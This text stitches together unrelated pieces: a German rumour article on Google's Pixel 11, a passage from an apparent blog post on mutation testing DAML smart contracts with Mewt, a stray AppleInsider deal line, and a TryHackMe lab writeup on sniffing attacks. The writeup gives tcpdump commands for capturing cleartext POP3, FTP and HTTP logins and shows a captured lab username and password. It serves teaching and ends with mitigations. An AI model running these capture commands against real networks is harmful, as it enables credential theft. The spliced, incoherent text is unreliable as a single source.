• Pixel 10 Pro XL: 6,8-Zoll-Super-Actua-LTPO-OLED, 3.300 Nits
• Pixel 10 Pro Fold: 8-Zoll-Super-Actua-Flex-LTPO-OLED, 3.000 Nits

Angesichts der aktuellen Trends könnte die Pixel-11-Serie die derzeitige Obergrenze von 120 Hertz bei der Bildwiederholfrequenz überschreiten und so flüssigeres Scrollen sowie reaktionsschnellere Interaktionen ermöglichen.

Anyron Copeman / Foundry

Pixel 11: Leistung

Google wird bei der Pixel-11-Reihe mit dem Tensor G6 auf einen neuen Chipsatz umsteigen. Auch wenn dies für niemanden eine Überraschung sein dürfte (ein neuer Tensor-Chip ist seit Jahren ein fester Bestandteil jeder neuen Generation), gibt es dieses Mal einige Verbesserungen, die einen enormen Einfluss auf die Leistung haben könnten.

Eine der ersten Informationen, auf die wir stießen, stammt noch aus der Zeit, bevor das Pixel 10 überhaupt in den Handel kam: Einem Bericht zufolge soll der neue Tensor G6 im effizienteren 2-Nanometer-Verfahren hergestellt werden, was erhebliche Auswirkungen auf die alltägliche Leistungsfähigkeit der CPU haben könnte.

Google’s Tensor G6 smartphone chip will be made with TSMC’s 2nm production process, media report, citing unnamed supply chain sources, and adding the Tensor G5 was transferred to TSMC from Samsung and will be inside Pixel smartphones later this year. Meanwhile, Tesla’ AI 5 chips…

— Dan Nystedt (@dnystedt) June 23, 2025

Geht man noch einen Schritt weiter, scheint es nun so, als würde Google auf den neuesten C1-Ultra-Kern von Arm umsteigen, der eine Taktrate von 4,11 GHz erreichen kann. Zum Vergleich: Das entspricht der Taktrate des Mediatek Dimensity 9500, der das Super-Flaggschiff Oppo Find X9 Pro antreibt.

Angesichts der Tatsache, wie stark Google die KI-Verarbeitung auf dem Gerät selbst vorantreibt, könnte ein effizienterer Tensor-Chip Google in Zukunft auch mehr Spielraum für komplexere KI-gesteuerte Aufgaben bieten.

Ein weiterer Bericht deutet darauf hin, dass Google neben dem Tensor G6 von einem Modem der Marke Samsung (was bislang die Regel war) auf ein von Mediatek hergestelltes Modem umsteigen wird.

Luke Baker

Bei dem betreffenden Modem handelt es sich um das MediaTek M90, das eine Reihe bemerkenswerter Funktionen bietet, darunter die Unterstützung von Sub-6- und mmWave-5G-Daten sowie Satellitenkonnektivität.

Die Möglichkeit, in Notfällen eine Satellitenverbindung herzustellen, ist mittlerweile eine allgemein erwartete Funktion bei Flaggschiff-Smartphones, nachdem Apple mit „Emergency SOS“ diesen Trend ins Leben gerufen hat; daher ist es naheliegend, dass Google hier der Konkurrenz einen Schritt voraus sein möchte.

Erwähnenswert ist auch, dass das Modem von Mediatek in Kombination mit dem Tensor G6 energieeffizienter sein könnte, was den Weg für eine längere Akkulaufzeit ebnet. Wir werden es erst mit Sicherheit wissen, wenn wir die Pixel-11-Smartphones zum Testen in die Hände bekommen, aber es ist eine schöne Vorstellung – zumal einige der Pixel-10-Modelle in diesem Bereich nicht gerade glänzen.

Ein bedauerliches Gerücht, das zunehmend an Bedeutung gewinnt, besagt, dass Google dem derzeit von Unternehmen wie Apple und Samsung gesetzten Trend nicht folgen wird, das 128-GB-Modell zugunsten eines 256-GB-Basismodells wegzulassen – was einer unserer größten Kritikpunkte an den bestehenden Pixel-10-Smartphones war.

128 GB Speicherplatz reichen im Jahr 2026 angesichts von Fotos, Videos und unverzichtbaren Apps einfach nicht mehr aus, daher hoffen wir aufrichtig, dass sich dieses Gerücht nicht bewahrheitet, doch es könnte letztendlich ein Ausschlusskriterium für High-End-Nutzer sein, die mehr Speicherplatz wünschen, ohne hohe Summen für ein teureres Modell oder einen Cloud-Abonnementdienst zahlen zu müssen.

Erschwerend kommt hinzu, dass die neuesten Gerüchte zum Pixel 11 nun darauf hindeuten, dass zwar die CPU-Leistung besser sein soll als zuvor, die neue GPU jedoch gar nicht so neu sein wird, da stattdessen ein PowerVR CXTP-48-1536 zum Einsatz kommen soll, der bereits im Jahr 2021 auf den Markt kam.

Luke Baker

Auch wenn die PowerVR-GPU möglicherweise eine leichte Leistungssteigerung gegenüber der Pixel-10-Reihe bietet, wäre dies dennoch eine große Enttäuschung, sollte sich dies bestätigen, da damit die derzeit an der Tensor G5 geäußerte Kritik ignoriert wird. Die Gaming-Leistung auf jedem Pixel-10-Smartphone entspricht einfach nicht dem Standard, den man von einem Flaggschiff-Gerät erwarten würde – die neuesten Galaxy-S26-Modelle sind ihnen dabei weit überlegen. Für die Gamer unter Ihnen könnte es sich lohnen, sich bei Ihrem nächsten Upgrade anderweitig umzusehen.

Interessant ist, dass – sicherlich als Reaktion auf die aktuelle Speicherkrise, die durch die KI-Entwicklung angeheizt wird – das Pixel 11 Pro und Pro XL nun offenbar mit zwei verschiedenen RAM-Varianten ausgeliefert werden sollen: eine mit 12 GB und die andere mit den üblichen 16 GB.

Zum Hintergrund: 16 GB RAM sind seit dem Pixel 9 Pro der Standard bei Googles Pixels der Pro-Klasse; dass das Unternehmen nun bei einer so zentralen Spezifikation einen Rückzieher macht, sagt viel über den aktuellen Stand der Branche aus. Dies könnte bedeuten, dass die 12-GB-Variante notwendig ist, um das 11 Pro und das Pro XL weiterhin zum gleichen Preis wie ihre Vorgängermodelle anbieten zu können.

Pixel 11: Kameras

Die Kameraausstattung der Pixel-11-Serie entwickelt sich zu einer der fortschrittlichsten, die es bei einem Flaggschiff-Smartphone gibt, wobei Google sowohl Hardware als auch KI nutzt, um die Foto- und Videoqualität zu verbessern.

Eines der herausragenden Merkmale, das vom Pixel 11 erwartet wird, ist ein Teleobjektiv der nächsten Generation, das einen bis zu 100-fachen Zoom unterstützt. Diese beeindruckende Zoomfähigkeit, unterstützt durch Algorithmen des maschinellen Lernens im Tensor-G6-Prozessor von Google, könnte darauf abzielen, ähnliche Funktionen von Wettbewerbern wie Samsung zu übertreffen oder ihnen sogar den Rang abzulaufen.

Der 100-fache Zoom ermöglicht es Nutzern, selbst aus großer Entfernung bemerkenswert detailreiche Bilder und Videos aufzunehmen, und setzt damit einen neuen Maßstab für die Zoomqualität von Smartphones. Wir wissen, dass einige der Pixel-10-Modelle einen 100-fachen Super-Res-Zoom bieten; das Pixel 11 dürfte diesem Standard daher mindestens entsprechen.

Außerdem haben wir gesehen, dass das reguläre Pixel 10 ein Teleobjektiv erhalten hat, wenn auch nicht in derselben Qualität wie die Pro-Modelle. Auch hier könnte eine Dreifach-Kamera auf der Rückseite nun zum Standard für Pixel-Smartphones werden.

Chris Martin / Foundry

Gerüchten zufolge soll das Pixel 11 zudem über einen verbesserten „Cinematic Blur“-Modus verfügen, der den immersiven „Bokeh“-Effekt in Videos verstärkt. Diese Funktion wird voraussichtlich 4K-Videos mit 30 Bildern pro Sekunde unterstützen und so eine kinoreife Qualität bieten, die das Storytelling in Videos auf ein neues Niveau hebt.

Darüber hinaus könnte eine neue „Video Relight“-Option eingeführt werden, mit der Nutzer die Lichtverhältnisse innerhalb eines aufgenommenen Videos anpassen können, um in Echtzeit Lichtveränderungen zu simulieren und den Szenen so mehr Tiefe und Dramatik zu verleihen. Diese Funktion wird Berichten zufolge von der „Cinematic Rendering Engine“ im Tensor G6 unterstützt, wodurch der Stromverbrauch, der typischerweise mit unscharfen Videoaufnahmen verbunden ist, erheblich reduziert wird.

Luke Baker

Eine weitere spannende Neuerung ist der „Ultra Low Light Video“-Modus, auch als „Night Sight Video“ bezeichnet, der darauf ausgelegt ist, die Videoqualität bei schlechten Lichtverhältnissen zu verbessern.

Im Gegensatz zu früheren „Night Sight“-Videomodi, die eine Cloud-Verarbeitung erforderten, soll diese Funktion dank der fortschrittlichen Bildverarbeitungsfähigkeiten des Tensor-G6-Chips vollständig auf dem Gerät selbst ausgeführt werden.

Android Authority berichtet, dass Google den „Ultra Low Light Video“-Modus so konzipiert hat, dass er in Umgebungen mit einer Umgebungshelligkeit zwischen 5 und 10 Lux – was in etwa der Helligkeit eines schwach beleuchteten Raums oder von Kerzenlicht entspricht – optimale Ergebnisse liefert.

Dominik Tomaszewski / Foundry

Durch die vollständige Verlagerung dieses Prozesses auf das Gerät könnte die Pixel-11-Serie ihren Nutzern die Möglichkeit bieten, hellere und klarere Videos bei schlechten Lichtverhältnissen aufzunehmen, ohne dass eine Internetverbindung erforderlich ist.

Obwohl konkrete Angaben zu den Objektiven dieser neuen Smartphones noch rar sind, scheint es nun wahrscheinlich, dass das Pixel 11 und das Pixel 11 Pro Fold über ein völlig neues 50-Megapixel-Hauptobjektiv verfügen werden, während das 11 Pro und das 11 Pro XL ein anderes, aber ebenfalls neues 50-Megapixel-Hauptobjektiv sowie ein verbessertes Teleobjektiv gemeinsam nutzen werden.

Sollten sich diese Gerüchte bestätigen, könnte die Kameraausstattung insgesamt einen deutlichen Qualitätssprung verzeichnen, was den neuen Pixel-Modellen sicherlich dabei helfen würde, sich von den aktuellen Kamera-Favoriten von Oppo, Vivo und Xiaomi abzuheben.

Pixel 11: Funktionen, darunter „Pixel Glow“

Eine wachsende Flut von Gerüchten deutet darauf hin, dass Google eine eigene Version der „Glyph“-Leuchten von Nothing einführen will, bekannt als „Pixel Glow“. Da uns die bereits erwähnten Renderings vorliegen, ist natürlich klar, dass das Konzept nicht genau dieselbe Designphilosophie verfolgen wird, die bei den Nothing-Smartphones eher weitläufig umgesetzt ist, sondern vielmehr die Idee, bestimmte Benachrichtigungen durch Lichter anzuzeigen, wenn das Smartphone mit der Vorderseite nach unten liegt.

Mattias Inghe

Die Existenz einer solchen Funktion wurde in einer Beta-Version von Android 17 entdeckt, wobei in den begleitenden Hinweisen erläutert wird, dass die Funktion „durch dezente Licht- und Farbsignale auf der Rückseite Ihres Geräts Sie über wichtige Aktivitäten informiert“. Es ist anzunehmen, dass sich „Pixel Glow“ – basierend auf dem, was wir vom Design des Pixel 11 gesehen haben – entweder auf den Blitzbereich des leicht überarbeiteten Kameraausstellers oder auf das Google-„G“-Logo in der Mitte beschränken wird; wir tippen jedoch auf Ersteres, da in den Hinweisen auch erwähnt wird, dass aktivierte Blitzbenachrichtigungen „Pixel Glow“ vollständig außer Kraft setzen.

Es ist auf jeden Fall eine coole Funktion, da sie manchen Menschen helfen könnte, einen gesünderen Umgang mit ihrem Smartphone zu pflegen. Genau wie bei den „Nothing Glyphs“ sollen diese lichtbasierten Benachrichtigungen Sie nur auf wirklich wichtige Angelegenheiten aufmerksam machen, sodass Sie weniger dazu neigen, sofort durch Ihr Smartphone zu scrollen, sobald eine Benachrichtigung auf dem Bildschirm erscheint.

Da die Funktion mehrfarbige Lichter nutzen wird, ist davon auszugehen, dass Sie bestimmte Benachrichtigungen farblich kennzeichnen können, sodass Sie auf einen Blick genau erkennen, was das Smartphone Ihnen mitteilen möchte – sei es ein eingehender Anruf oder eine Lieferbenachrichtigung.

Google scheint von den Fähigkeiten von „Pixel Glow“ ziemlich überzeugt zu sein, da die Beta-Version auch darauf hindeutet, dass das Konzept in einem kommenden Laptop zum Einsatz kommen wird. Seitdem wurden Googlebooks mit einer „Glowbar“ angekündigt, was uns eine Art Vorschau darauf gibt, wie dies beim Pixel 11 aussehen könnte.

Google

Ein kleiner Vorgeschmack darauf, wie die Idee aussehen könnte, war im Rahmen der Google I/O 2026 zu sehen, wo wir ganz kurz einen Lichtring um ein Pixel 10 Pro XL erkennen konnten. Es ist bestenfalls flüchtig, wirkt aber wie ein möglicher Vorgeschmack von Google darauf, was uns erwartet – auch wenn es Teil eines KI-Abschnitts war, in dem nicht viel real war.

Wir haben Gemini gebeten, ein Konzeptbild für „Pixel Glow“ zu erstellen, und die Ergebnisse sind recht interessant. Nach mehreren Eingabeaufforderungen gelang es uns, Googles charakteristische Farben um die Kameraleiste herum erscheinen zu lassen, und obwohl es sich nach wie vor nur um eine Visualisierung einer möglichen Zukunft handelt, spricht definitiv einiges dafür, dass dies der Rückseite des Smartphones ein zusätzliches Flair verleiht.

Eine andere Möglichkeit wäre, dass es Teil des „G“-Logos ist, doch wir halten dies für weniger wahrscheinlich.

Chris Martin / Foundry

Obwohl die Pixel-11-Reihe von „Pixel Glow“ profitieren soll, scheint es, als wolle Google im Gegenzug etwas weglassen, nämlich den Temperatursensor. Der Temperatursensor, der ursprünglich bereits beim Pixel 8 Pro eingeführt wurde, wirkte oft wie ein unausgereiftes Konzept, zumal es zum Zeitpunkt der Markteinführung keinen offensichtlichen Nutzen gab und der Eindruck entstand, dass die Technologie auf Drittanbieter angewiesen war, um ihre Existenz zu rechtfertigen. Daher stört es uns nicht sonderlich, dass er entfernt wird.

Schade ist jedoch, dass nach Gerüchten, wonach ein vollwertiges Äquivalent zu Apples Face ID in der Entwicklung sei und in der Pixel-11-Reihe sein Debüt feiern sollte, nun offenbar feststeht, dass diese Technologie den Markteintritt komplett verpassen und wahrscheinlich erst in den Modellen des nächsten Jahres zum Einsatz kommen wird.

Das Fehlen einer vollwertigen Gesichtserkennung wird die neuen Pixel-Modelle, insbesondere die höherpreisigen, gegenüber bestimmten Android-Geräten wie dem Honor Magic 8 Pro benachteiligen, das über einen frontseitigen 3D-Scanner verfügt, der Apples „Dynamic Island“ durchaus ähnelt.

Pixel 11: Akku & Aufladen

Zwar wurden die Akku-Spezifikationen für die Pixel-11-Serie noch nicht bekannt gegeben, doch gibt es einen interessanten Hinweis, der bereits in die Gerüchteküche gelangt ist: die Möglichkeit eines austauschbaren Akkus.

Vor allem dank Apple und dessen Beharren auf einem einheitlichen Gehäuse haben so gut wie alle Hersteller das Konzept der austauschbaren Akkus aufgegeben, obwohl diese Funktion einst ein fester Bestandteil von Mobiltelefonen im Allgemeinen war. Einem kürzlich veröffentlichten Patent zufolge scheint es jedoch, als würde Google darüber nachdenken, dieses Konzept wieder aufzugreifen – möglicherweise für das Pixel 11 Fold.

US Patent

Da die faltbaren Pixel-Smartphones deutlich mehr Energie benötigen, um ihre größeren internen Bildschirme mit Strom zu versorgen, könnte ein schnell austauschbarer Akku für intensive Nutzer eine echte Rettung sein. Es lässt sich nicht sagen, ob Google diese Funktion auch für andere Modelle der Pixel-11-Reihe in Betracht zieht, doch wir würden uns sehr darüber freuen – insbesondere, da dies die Smartphones angesichts der nachlassenden Akkuleistung zu einer weitaus praktikableren Langzeitlösung machen würde.

Google könnte zudem schnellere Ladezeiten einführen und die Akkulaufzeit verbessern, um den Anforderungen der verbesserten Hardware und der KI-Funktionen gerecht zu werden.

Google

Abgesehen von diesen Gerüchten besteht die größere Hoffnung, dass Google möglicherweise auch schnellere Ladezeiten einführt und die Akkulaufzeit insgesamt verbessert, um den Anforderungen der verbesserten Hardware und der KI-Funktionen gerecht zu werden.

Schließlich verfügt die Pixel-10-Serie über integriertes magnetisches Qi2-Laden – ähnlich wie Magsafe –, wobei das XL-Modell mit Qi2.2 eine kabellose Ladegeschwindigkeit von 25 Watt erreicht.

Hoffentlich werden alle Pixel-11-Smartphones den schnelleren Qi2.2-Standard sowie die kabelgebundene Ladegeschwindigkeit von 45 Watt des Pixel 10 Pro XL erhalten.

Pixel 11: Software

Es wird erwartet, dass das Software-Erlebnis der Pixel-11-Serie eng mit den neuesten KI-Entwicklungen von Google verzahnt sein wird und Funktionen bietet, die die alltägliche Interaktion mit dem Gerät vereinfachen und verbessern. Dank eines Berichts erfahren wir bereits einiges darüber.

Eine der erwarteten Software-Verbesserungen ist die Funktion „Speak-to-Tweak“, mit der Nutzer sprachgesteuerte Anpassungen an ihren Fotos vornehmen können. Durch das einfache Aussprechen von Befehlen können Nutzer Bildeinstellungen wie Helligkeit, Kontrast und Sättigung optimieren, wodurch die Bildbearbeitung intuitiver und zugänglicher wird.

Darüber hinaus könnte die Pixel-11-Serie über „Sketch-to-Image“ verfügen, ein Tool, das grobe Skizzen in detaillierte Bilder umwandelt, ähnlich wie bei Samsungs Galaxy AI. Diese Funktion dürfte besonders für kreative Nutzer nützlich sein, die aus einfachen Skizzen Kunstwerke oder visuelle Inhalte erstellen möchten.

Eine weitere Software-Innovation mit dem vorläufigen Namen „Magic Mirror“ soll sich Gerüchten zufolge in der Entwicklung befinden, wobei konkrete Details noch unklar sind. Diese Funktion könnte neue KI-basierte Anpassungsoptionen für Fotos oder Videos einführen und damit möglicherweise die Personalisierungs- oder Verschönerungsfunktionen innerhalb der Foto- und Videobearbeitungs-Apps des Geräts verbessern.

Luke Baker

Die Pixel-11-Serie könnte dank der im Tensor-G6-Chip integrierten nanoTPU-Technologie zudem mit einer Reihe von durchgehend aktiven Tools zur Gesundheitsüberwachung auf den Markt kommen. Diese Suite von ML-basierten Funktionen könnte die Erkennung von Schlafapnoe, Schnarchen und Husten sowie sogar die Sturzerkennung umfassen, was das Pixel 11 zu einem leistungsstarken Gerät für gesundheitsbewusste Nutzer macht.

Die Serie könnte zudem neue fitnessorientierte Funktionen wie „Running ML“ enthalten, das Läufern Echtzeit-Feedback liefert, darunter anpassbare Tempovorgaben und eine Gleichgewichtsanalyse, und den Nutzern so hilft, ihre Trainingsroutinen zu optimieren.

Zusätzlich zu diesen Neuerungen könnte das Pixel 11 die Unterstützung für Googles „Quick Phrases“ erweitern – eine Funktion, mit der Nutzer bestimmte Aktionen ausführen können, ohne den Google Assistant vollständig zu aktivieren.

Das Potenzial für verbesserte „Quick Phrases“ könnte alltägliche Aufgaben wie das Annehmen von Anrufen oder die Steuerung von Smart-Home-Geräten vereinfachen und die Smartphones der Pixel-11-Serie zu äußerst reaktionsschnellen Geräten machen, die sich nahtlos in den Alltag der Nutzer integrieren.

Dominik Tomaszewski / Foundry

Wir wissen nun wesentlich mehr darüber, was Google mit Android 17 für das gesamte Ökosystem bereithält. Dazu gehören ein starker Fokus auf die Google-KI, die Aufgaben für Sie übernimmt, sowie Funktionen, die Ihr Wohlbefinden in den Vordergrund stellen, wie „Pause Point“. Smartphones von Google und Samsung werden als erste von der aktualisierten Software profitieren, sodass Fans davon ausgehen können, Android 17 mit der Pixel-11-Reihe direkt nach dem Auspacken nutzen zu können.

Das ist alles, was wir bislang über die Pixel-11-Serie wissen, doch wir werden diesen Artikel bis zur Markteinführung fortlaufend aktualisieren, sobald neue Gerüchte und Leaks bekannt werden.

For a team shipping DAML to production, that count is what a passing test run is actually worth: it puts a number on how much your suite checks, whereas a green run on its own does not.

Why DAML’s coverage reports lie

Test coverage is the most reassuring lie in smart-contract development. Hitting 100% line coverage tells you the test runner walked the code; it does not tell you whether any test would fail if that code stopped doing what it is supposed to. We have been grading test harnesses by how many mutants they kill since at least 2019, and our primer on finding the bugs your tests don’t catch shows how a green suite can still miss the bug that matters.

DAML’s built-in coverage measures execution at the template and choice level: which templates were created and which choices were exercised over the test run. It reports whether each choice was exercised, not what happened inside it. A test that exercises a choice once and asserts nothing about the result reports that choice as covered. The report prints the same green percentage whether the test verifies the outcome or discards it.

How mutation testing works

Instead of asking whether your tests reached the code, mutation testing grades your tests by sabotaging that code. The engine generates mutants, copies of the code that each carry one small deliberate change: a flipped comparison, a removed branch, a dropped party. It then runs your test suite against each one. A mutant that makes the suite fail is caught; a mutant that passes every test survives. Every survivor is a change your tests let through, and each one is either harmless or a potential bug. The harmless ones are equivalent code no test could distinguish or a branch no execution reaches, and you can set those aside. The rest are a to-do list: each one is a specific test you are missing, a case your suite should check but does not, occasionally with a real bug sitting behind the gap. The primer above describes a real audit where a mutation campaign surfaced a high-severity bug that the project’s tests had missed.

Mutation testing forces the unhappy path

A DAML contract encodes rights and obligations between named parties: who holds what, who owes what to whom, and who must authorize each step. A party is not an anonymous address. It represents a real organization or person, and the contract is the rulebook for how those parties interact, including which of them can take which action, what each is allowed to see, and what stays private between them.

Authorization is how that rulebook is enforced: who may take which action. It is also easy to get wrong in ordinary ways, such as a typo in a controller clause, a missing party, an extra one left over from a refactor. Every combination type-checks, so nothing rejects it before it ships. A static analyzer can flag suspicious patterns, but it has no way to know which party should hold which authority on your contract. That knowledge lives in your specification, and for most projects, the only executable form of the specification is the test suite. Happy-path tests supply every signature the contract asks for and confirm the transaction succeeds. They never try the negative case—removing a required signature and checking that the ledger rejects the transaction—so they never actually test whether that signature was required at all. If the tests don’t encode that rule, nothing downstream can recover it. Mutation testing is what tells you whether they do.

A green test run tells you your tests passed today. Mutation testing asks the harder question: would your tests catch a mistake, now or after the next code change? Where the answer is no, you have found a test case worth writing.

What Mewt adds for DAML

Mewt parses every language it supports with a tree-sitter grammar. As of mid-2026, there is no maintained tree-sitter grammar for DAML, so we reused the upstream tree-sitter-haskell grammar. DAML is Haskell-shaped, but its contract constructs (template, choice, controller, and signatory) are not Haskell, and the grammar parses them as error-recovered subtrees. That matters less than it sounds. The common mutations still work on DAML’s ordinary expressions, so Mewt swaps arithmetic and comparison operators, flips Booleans, and removes branches just as it does in any other language, with only small adjustments where DAML’s surface syntax differs (DAML writes /= where most languages write !=). We got most of the value of a from-scratch grammar without building one.

The new engineering went into DAML’s authorization primitives, where the authorization bugs from the previous section live. Mewt adds two DAML-specific mutations:

• Controller party swap (CPS in Mewt’s output): replace one party in a controller clause with another party that is in scope at that site.

• Controller party removal (CPR): drop one party from a multi-party controller list.

Both target the same question: if the set of parties allowed to exercise this choice silently changed, would any test fail? They are a deliberately small starting set aimed at the bug class above, and more DAML-specific mutations are in the pipeline.

Driving a campaign needs no new harness. A short mewt.toml names the files to mutate and the test command (dpm test for a Daml 3 project), and mewt run does the rest, reporting each mutant as caught or surviving. The setup is deliberately small: trying it on your own project costs minutes, and we encourage exactly that.

What a surviving mutant looks like

Picture a conditional payment between a buyer and a seller: the buyer sets money aside for the goods, and paying it out to the seller requires both parties to sign off. The buyer’s signature is the delivery confirmation. In DAML, that policy is one line: the controller line on the Release choice.

template ConditionalPayment
 with
 buyer : Party
 seller : Party
 amount : Decimal
 where
 signatory buyer
 observer seller

 choice Release : ()
 with
 paid : Decimal
 controller buyer, seller
 do
 assert (paid == amount)

A typical happy-path test creates the payment and has both parties approve the release. The actAs buyer <> actAs seller line submits the command with both parties’ authority:

testHappyPath : Script ()
testHappyPath = script do
 buyer <- allocateParty "Buyer"
 seller <- allocateParty "Seller"
 payment <- submit buyer do
 createCmd ConditionalPayment with
 buyer
 seller
 amount = 100.0
 submit (actAs buyer <> actAs seller) do
 exerciseCmd payment Release with paid = 100.0
 pure ()

The test passes, and by the usual measure the suite looks complete: running dpm test with coverage reporting enabled shows full coverage.

$ dpm test --show-coverage --coverage-ignore-choice Archive
testHappyPath: ok, 0 active contracts, 2 transactions.
- Internal templates: 1 defined, 1 (100.0%) created
- Internal template choices: 1 defined, 1 (100.0%) exercised

The --coverage-ignore-choice Archive flag deserves a word. Every DAML template automatically gets an implicit Archive choice. It is not part of the business logic under test, so we exclude it for simplicity. With it included, this one-choice template would report 50% even though the test exercises everything we wrote.

Run Mewt on the project and it generates seven mutants. The test suite catches three of them. Four survive. Here is one of the survivors, shown as the diff Mewt reports:

 choice Release : ()
 with
 paid : Decimal
- controller buyer, seller
+ controller seller
 do
 assert (paid == amount)

Re-run the test suite against this mutant. It still passes, and coverage still reports 100%. The contract claims releasing the buyer’s money requires both parties. The mutant lets the seller release it to themselves without the buyer ever confirming delivery. The tests report green either way. Only a test that tries the forbidden path, the seller acting alone, expecting the ledger to reject it, can tell the two contracts apart. No such test exists, and the mutation score says so. (The other three survivors tell the same story from different angles: the buyer-alone twin of this mutant, and two mutants that weaken the paid == amount check to <= and >=, which survive because the test only ever pays the exact amount.)

Step back, and this is the whole point of the exercise. Your tests are the executable specification of your code. Here the implementation changed, one required approval instead of two, and the specification did not react. That means the expected behavior was underspecified all along: whether both the buyer and the seller have to sign off, or just one of them, was never actually written down anywhere a machine could check. Every controller combination type-checks, and coverage reports 100% for all of them. The only place “both must sign” can exist in checkable form is a test that expects the weakened contract to fail, and writing that test is exactly what the surviving mutant tells you to do.

Limitations and what comes next

Mewt is not magic. Two limits are worth knowing before you run your first campaign: not every survivor is a real gap, and a campaign costs time. The roadmap that follows them is where we are taking the work next.

Equivalent mutants exist: some survivors turn out to be semantically identical to the original program, so no test could ever catch them. Few public DAML codebases on GitHub come with a full test suite, so we are glad OpenZeppelin open-sourced its canton-stablecoin reference implementation. Mewt generated hundreds of mutants for it. We ran the highest-priority ones through the existing test suite, and seven of those survived. Three were equivalent mutants or sat behind a guard that no path reaches, and the other four were genuine missing test cases. None of the survivors we reviewed pointed to a bug. Such a clean result is what you want when you run Mewt on your own code, and triaging them took minutes.

One of those equivalent mutants shows what that means concretely. A helper computed accrued debt:

accrueDebt currentDebt lastAccrual now annualRate =
 if currentDebt == 0.0 || annualRate == 0.0 then currentDebt
 else
 let elapsedYears = ... -- elapsed time as a fraction of a year
 in currentDebt * (1.0 + annualRate * elapsedYears)

Mewt forced the if to always take the else branch. No test failed, and none ever could: when the debt is zero, the formula multiplies by zero and returns zero, and when the rate is zero, it multiplies the debt by one and returns it unchanged. The guard is a shortcut that returns the value the formula already produces, so removing it changes nothing. Mewt suppresses the equivalent mutants it can detect. The rest need a reviewer’s judgment to dismiss.

Campaigns cost time in two places. The machine part: Mewt runs your test suite once per mutant, so the wall-clock cost is roughly the number of mutants times how long one test run takes, plus a rebuild if your project needs one. That is minutes on a small codebase and hours on a large one or a slow suite, so the cadence that works is nightly or weekly rather than per-commit. The human part: someone has to look at the survivors. We are working on that front from several directions at Trail of Bits, including our mutation-testing skill that helps configure campaigns for your project, and Trailmark with its genotoxic triage skill. None of these understand DAML yet, but the direction is clear: given the right harness and tools, the time-consuming parts of a campaign can be handed to AI agents. The effort is modest and the payoff is concrete: each genuine survivor is a specific test you can write, and every test you add makes your suite enforce one more guarantee your contracts are supposed to make.

Also on the roadmap: choice-consumption mutations (consuming vs nonconsuming) sit cleanly on top of the controller-mutation scaffolding and target a bug class Mewt does not yet reach.

Dive in

Install Mewt from the repository, point a mewt.toml at your project and its test command, and mewt run. The quickstart in the README covers the rest. DAML works out of the box. Everything here ran on Daml 3.4 with dpm, but Mewt just drives whatever test command you configure, so Daml 2 projects using the daml assistant work the same way.

Mutation testing complements the rest of your security stack, the type checkers, linters, and property tests you already run, rather than replacing any of it.

If you’re building on Canton, we help teams with security reviews of DAML applications and with the way the code gets built: working directly with your engineers on the development process itself. Contact us.

Grab deals on MacBook Air models at Amazon and B&H - Image credit: Apple

Continue Reading on AppleInsider | Discuss on our Forums

No exploit. No zero-day. Just a protocol that was never built to keep a secret.

That’s the uncomfortable little truth this room is built around. So let’s pull it apart.

Most of the internet’s classic protocols were designed in a more trusting era. It was a time when the people sharing a network mostly knew each other, and “someone might be listening” wasn’t the default assumption.

Those protocols still run everywhere. And many of them still send your credentials across the wire in plain text.

Protocols and Servers 2 on TryHackMe is about exactly that gap, and what closes it. It walks through three foundational attacks against network protocols, then the defenses that neutralize each one:

• Sniffing — quietly reading traffic off the wire
• Man-in-the-Middle (MITM) — sitting between two parties and tampering
• Password attacks — guessing or cracking the credentials themselves

This is a writeup of the whole room: the concepts in plain language, the commands that matter, and the task answers explained. If you’re working through it yourself, follow along.

One idea ties the entire room together: cleartext protocols are insecure by design. Everything else is a consequence of that single fact.

Part 1 — Sniffing Attacks

A sniffing attack is the simplest idea in the room: use a packet-capture tool to grab traffic as it crosses the network, then read it.

If a protocol talks in cleartext, anyone positioned to see that traffic can pull out private messages or login credentials. Nothing is encrypted before it leaves your machine.

"Isn't everything encrypted now?"

It’s tempting to think sniffing is a solved, retro problem now that TLS is everywhere. It isn’t. It stays dangerous wherever cleartext still lives:

• Internal corporate networks, where machine-to-machine traffic is often left unencrypted
• Legacy systems like old mail servers, embedded devices, and industrial control systems
• Misconfigured services where TLS is available but not strictly enforced
• IoT devices that habitually use plain protocols
• Wireless networks, where anyone in range can listen
• After a MITM attack that has successfully downgraded or stripped encryption

In real internal pentests and red-team work, sniffing is still one of the most reliable ways to harvest credentials and learn how systems actually talk to each other.

The tools

Capturing packets needs a network card and the right privileges (root on Linux, administrator on Windows). Here are the staples:

• tcpdump — lightweight open-source CLI capture tool, preinstalled on most Linux systems.
• Wireshark — the GUI standard, with powerful filtering, protocol dissection, and visualization.
• tshark — Wireshark’s command-line sibling, great for scripting.

Worth knowing too: tcpflow (reassembles TCP streams), ngrep (pattern-matching in traffic), and NetworkMiner (extracts files from captures).

Specialized credential-grabbers exist, but tcpdump and Wireshark can do the job with a little effort.

Capturing POP3 credentials with tcpdump

The classic demo: a user checks email over POP3 (port 110, cleartext).

With access to the traffic — via a wiretap, a switch’s port mirroring, ARP spoofing, a compromised host, or a successful MITM — you run this command:

sudo tcpdump port 110 -A

Breaking that down:

• sudo — packet capture needs root privileges.
• port 110 — only keep traffic to or from the POP3 server.
• -A — print packet contents as ASCII, so cleartext is human-readable.

In the capture, the login arrives across two packets and reads straight out:

… USER frank … PASS D2xc9CgD

Username frank, password D2xc9CgD, handed over in plain sight.

Wireshark gets you there even faster: type “pop” in the display filter, and only POP3 traffic remains, credentials included.

Handy tcpdump filters

+------------------------------------+-----------------------------------------------------------+
| Command                            | Purpose                                                   |
+------------------------------------+-----------------------------------------------------------+
| sudo tcpdump port 110 -A           | Capture traffic on port 110 (POP3) in readable ASCII      |
| sudo tcpdump host 10.20.30.148 -A  | Capture ASCII traffic to/from a specific host IP          |
| sudo tcpdump port 80 -A            | Capture HTTP traffic (credentials in POST data)           |
| sudo tcpdump port 21 -A            | Capture FTP traffic (cleartext credentials)               |
| sudo tcpdump -w capture.pcap       | Save raw network packets to a file for later analysis     |
| tcpdump -r capture.pcap -A         | Read and display a saved capture file in ASCII text       |
+------------------------------------+-----------------------------------------------------------+

Mitigation

Any cleartext protocol is exposed. The only requirement for the attack is a vantage point between the two parties or on the same network segment.

The core fix is encryption. This means wrapping the protocol in TLS (like HTTP to HTTPS, FTP to FTPS, or POP3 to POP3S) and replacing Telnet with SSH.

Layered on top of that:

• Network segmentation to limit who can see whose traffic
• Encrypted VLANs or tunnels for sensitive internal traffic
• 802.1X port-based authentication so unknown devices can’t connect
